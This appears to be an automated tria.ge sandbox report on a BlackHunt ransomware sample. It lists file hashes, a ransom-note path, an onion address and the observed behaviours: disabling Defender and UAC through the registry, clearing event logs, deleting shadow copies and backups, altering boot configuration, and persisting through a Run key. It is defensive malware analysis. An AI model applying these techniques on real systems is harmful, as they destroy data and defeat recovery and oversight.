Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
154s -
max time network
197s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
Resource
win10v2004-20231215-en
General
-
Target
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe
-
Size
707KB
-
MD5
387b0a7c9a42e010602692ec266c69e3
-
SHA1
a22ccaf2c4ef0c413e280bbb243fd2c09f5adc52
-
SHA256
dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e
-
SHA512
601262832ac863356b32414f22eb560704e8140fa348b46acaf5532a5cb5eb93cecd5f655cecc23c20170e3b8f4b682759c5b1673cb02007034e0766bf83b24e
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1o8Ivnh:6uaTmkZJ+naie5OTamgEoKxLWj2h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1124 fsutil.exe 2888 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2952 wevtutil.exe 2988 wevtutil.exe 3064 wevtutil.exe 788 wevtutil.exe 1932 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2568 bcdedit.exe 420 bcdedit.exe 2756 bcdedit.exe 2056 bcdedit.exe -
Renames multiple (807) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2768 wbadmin.exe 2168 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 2976 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\P: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\G: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\R: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\S: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\H: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\Z: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\O: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\L: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\B: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\U: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\K: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\V: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\N: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\I: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\A: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\T: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\J: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\X: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\M: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened (read-only) \??\W: dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.xml dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pt_BR.jar dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Moncton dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\ga.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\7-Zip\Lang\nb.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DissolveNoise.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Warsaw dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Monrovia dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\SecretST.TTF dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Honolulu dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask_PAL.wmv dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\ij dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CET dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-background.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Menominee dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yellowknife dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\PreviousMenuButtonIcon.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Boa_Vista dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tahiti dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_Private.key dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\management.properties dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\epl-v10.html dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.hta dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.txt dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Novokuznetsk dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tokyo dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DisconnectFormat.jpe dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ho_Chi_Minh dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\artifacts.xml dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.policy dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 936 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 792 vssadmin.exe 1048 vssadmin.exe 2236 vssadmin.exe 2396 vssadmin.exe 2120 vssadmin.exe 2544 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2708 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon vssadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" vssadmin.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1792 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1660 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeRestorePrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeBackupPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeTakeOwnershipPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeAuditPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeSecurityPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeIncBasePriorityPrivilege 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe Token: SeBackupPrivilege 2144 vssvc.exe Token: SeRestorePrivilege 2144 vssvc.exe Token: SeAuditPrivilege 2144 vssvc.exe Token: SeBackupPrivilege 2244 wbengine.exe Token: SeRestorePrivilege 2244 wbengine.exe Token: SeSecurityPrivilege 2244 wbengine.exe Token: SeSecurityPrivilege 3064 wevtutil.exe Token: SeBackupPrivilege 3064 wevtutil.exe Token: SeSecurityPrivilege 788 wevtutil.exe Token: SeBackupPrivilege 788 wevtutil.exe Token: SeSecurityPrivilege 2952 wevtutil.exe Token: SeBackupPrivilege 2952 wevtutil.exe Token: SeSecurityPrivilege 2988 wevtutil.exe Token: SeBackupPrivilege 2988 wevtutil.exe Token: SeSecurityPrivilege 1932 wevtutil.exe Token: SeBackupPrivilege 1932 wevtutil.exe Token: SeDebugPrivilege 2708 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2716 wrote to memory of 2568 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 30 PID 2716 wrote to memory of 2568 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 30 PID 2716 wrote to memory of 2568 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 30 PID 2716 wrote to memory of 2568 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 30 PID 2716 wrote to memory of 2576 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 31 PID 2716 wrote to memory of 2576 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 31 PID 2716 wrote to memory of 2576 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 31 PID 2716 wrote to memory of 2576 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 31 PID 2716 wrote to memory of 2584 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 32 PID 2716 wrote to memory of 2584 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 32 PID 2716 wrote to memory of 2584 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 32 PID 2716 wrote to memory of 2584 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 32 PID 2716 wrote to memory of 2616 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 33 PID 2716 wrote to memory of 2616 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 33 PID 2716 wrote to memory of 2616 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 33 PID 2716 wrote to memory of 2616 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 33 PID 2716 wrote to memory of 2636 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 34 PID 2716 wrote to memory of 2636 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 34 PID 2716 wrote to memory of 2636 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 34 PID 2716 wrote to memory of 2636 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 34 PID 2716 wrote to memory of 1944 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 38 PID 2716 wrote to memory of 1944 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 38 PID 2716 wrote to memory of 1944 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 38 PID 2716 wrote to memory of 1944 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 38 PID 2716 wrote to memory of 2060 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 39 PID 2716 wrote to memory of 2060 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 39 PID 2716 wrote to memory of 2060 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 39 PID 2716 wrote to memory of 2060 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 39 PID 2716 wrote to memory of 1924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 43 PID 2716 wrote to memory of 1924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 43 PID 2716 wrote to memory of 1924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 43 PID 2716 wrote to memory of 1924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 43 PID 2716 wrote to memory of 2884 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 46 PID 2716 wrote to memory of 2884 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 46 PID 2716 wrote to memory of 2884 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 46 PID 2716 wrote to memory of 2884 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 46 PID 2716 wrote to memory of 2928 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 47 PID 2716 wrote to memory of 2928 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 47 PID 2716 wrote to memory of 2928 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 47 PID 2716 wrote to memory of 2928 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 47 PID 2716 wrote to memory of 2924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 49 PID 2716 wrote to memory of 2924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 49 PID 2716 wrote to memory of 2924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 49 PID 2716 wrote to memory of 2924 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 49 PID 2716 wrote to memory of 2920 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 50 PID 2716 wrote to memory of 2920 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 50 PID 2716 wrote to memory of 2920 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 50 PID 2716 wrote to memory of 2920 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 50 PID 2716 wrote to memory of 2780 2716 dabd1fae5d485efb03b20b8e9b72dd85e656cf90a3cd333b5fa148fe47c6335e.exe 52 